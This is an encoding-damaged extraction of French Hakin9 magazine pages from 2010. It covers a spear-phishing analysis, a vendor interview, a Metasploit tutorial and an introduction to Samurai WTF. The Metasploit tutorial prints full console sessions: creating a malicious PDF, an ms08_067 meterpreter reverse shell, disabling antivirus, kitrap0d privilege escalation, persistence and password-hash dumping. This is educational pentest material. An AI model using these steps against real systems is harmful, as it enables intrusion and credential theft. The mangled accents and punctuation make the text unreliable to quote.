Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

